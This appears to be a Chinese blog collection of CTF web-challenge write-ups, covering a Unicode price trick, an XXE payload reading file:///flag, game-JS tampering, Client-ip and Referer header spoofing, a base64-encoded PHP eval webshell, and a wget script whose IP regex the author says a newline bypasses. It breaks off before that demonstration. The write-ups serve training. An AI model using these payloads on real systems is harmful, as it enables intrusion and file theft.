    ASIS2019 Unicorn shop

    打开靶机,让我买独角兽

    那就先买第一只,输入1,和2.0

    提示只能一个字符,应该是我2.0的原因,那改成2试试

    提示商品错误,那我一只一只买,前三个都错误,那就只能买最后一只。可最后一只1337块钱,就超过了一个字符的限制。此时联想到使用Unicode编码,找到一个字符的Unicode编码大于1337输入。

    https://www.compart.com/en/unicode/

    这个网站里有极全的Unicode编码字符,我找到了这个字符。它的Unicode大于1337。再次输入4和ↂ。

    出现flag

    NCTF2019 Fake XML cookbook

    打开靶机如图:

    蒙了几个username和password都显示错误,看来没有太多提示了。既然题目提示了XML那就百度一波。已知晓XML存在实体注入,引入实体文件,然后读取它就完成注入了。我们抓包看看存不存在相关XML语句。如下:

    发现使用XML存储username和password。将内容发送至Repeater,然后写入恶意实体,注意这里是使用file://协议读取flag文件,并且将这个文件赋给admin。后面的admin前有&的意思是读取admin。所以这里会读取flag文件。注意&admin后面要加 ; 。因为是当作语句执行的。恶意实体代码:

    html
     1<?xml version="1.0" encoding="utf-8"?>
     2<!DOCTYPE note [
     3  <!ENTITY admin SYSTEM "file:///flag">
     4  ]>
     5<user>
     6  <username>
     7	&admin;
     8  </username>
     9  <password>
    10	123456
    11  </password>
    12</user>

    写好如下

    VNCTF2021 Ez_game

    首先的首先感谢天明大佬点拨,打开靶机发现是个游戏

    要玩通关才能获取flag,那这肯定不是咱们CTFer的路数啊。可是也没啥头绪,那就玩下去吧……

    玩了好久,死了就继续,玩不过去了就不想玩了。后来想到通关不就是一个数据的事情嘛。改一下关卡就好。但是我没找到相关语句,而JS里改了后,一刷新就复原了。之前想了一个方法使用插件将网站JS拦截下来,替换成本地JS文件。后来没成功。。。后来发现这个game.js里有个函数是控制重生之后角色相关信息的。我们将这些信息改大点,如下图:

    然后我们CTRL+S保存,关闭控制台。去玩游戏,去第一关送死,死后按ESC重生。再去玩第一关,你会发现游戏角色属性变成了这样:

    然后就去快乐得玩耍吧,把游戏玩通关,一直玩到最后出现如下页面:

    这个时候CTRL+鼠标滚轮,缩放网页即可看到全部flag

    这题算我做的第一个游戏题了,我想起了学长去年的魔方题,有机会找一下试试。

    BJDCTF2nd 假猪套天下第一 Writeup

    打开靶机后是一个登录页面

    我们先输入一个admin和123456试试

    真调皮,那我们什么都不输入再登录一次

    我真的是越来越喜欢Y1ng师傅出的题了

    试了,F12,robots协议,看了网页源代码没发现什么重要内容。在一筹莫展的时候那就抓包。抓包如下:

    发送到Repeater,发包。发现如下:

    我们可以看到右边代码里倒数第二行提示了Log1n.php页面,我们关闭代理打开网页看一下

    很粉的界面,没什么线索,再抓一次包,发送到Repeater,发包,内容如下:

    右下角给了提示,意思是这个网站99年后才能用,这时又没头绪了,注意它的提示,99年。认真看一下包,发现header里有个time项。那我们把time项数值改很大试试。发包后返回如下:

    右下角又有了提示,内容意思是这个站只能让本地用户访问,我们知道127.0.0.1代表自己本地,这里可以使用XFF或者Client-ip我这里使用后者。在包内添加

    html
    1Client-ip:127.0.0.1

    再次发包,看到如下:

    拜托把话说完行吗?提示访问要来自gem-love.com,在包内添加

    html
    1Referer:gem-love.com

    再来

    GKCTF2020 CheckIN Writeup

    打开实例是一段PHP代码。

    代码图

    通过代码没有发现反序列化函数,但是可以通过Ginkgo传参,但必须要传经过base64编码后的。上传phpinfo();试试,顺便看看php版本,将**phpinfo();**经base64编码后上传。

    php
    1payload:http://346a26d6-b3a8-4b3f-b923-0ead34c60089.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==

    如下图

    上传个一句话木马试试,将**eval($_POST[a]);**经base64编码后上传

    php
    1payload:http://346a26d6-b3a8-4b3f-b923-0ead34c60089.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbYV0pOw==

    使用蚁剑连接试试

    纵横杯网络安全竞赛Writeup

    magic_download

    run.sh

    php
     1#!/bin/bash
     2ulimit -c 0      # core dump size (kb)
     3ulimit -t 60     # max cpu using (s/min)
     4ulimit -u 1500    # max number of process
     5ulimit -m 512000 # max memory (kb)
     6
     7cd /home/ctf
     8stdbuf -oL echo -n "Please enter your IP:"
     9read IP
    10echo $IP|grep "^[0-9\.]\{7,15\}$" > /dev/null
    11if [ $? -ne 0 ]
    12then
    13    stdbuf -oL echo "Please input a IP!"
    14else
    15    exec /home/ctf/wget -P /tmp $IP
    16fi

    这个正则可以被换行绕过,请看演示: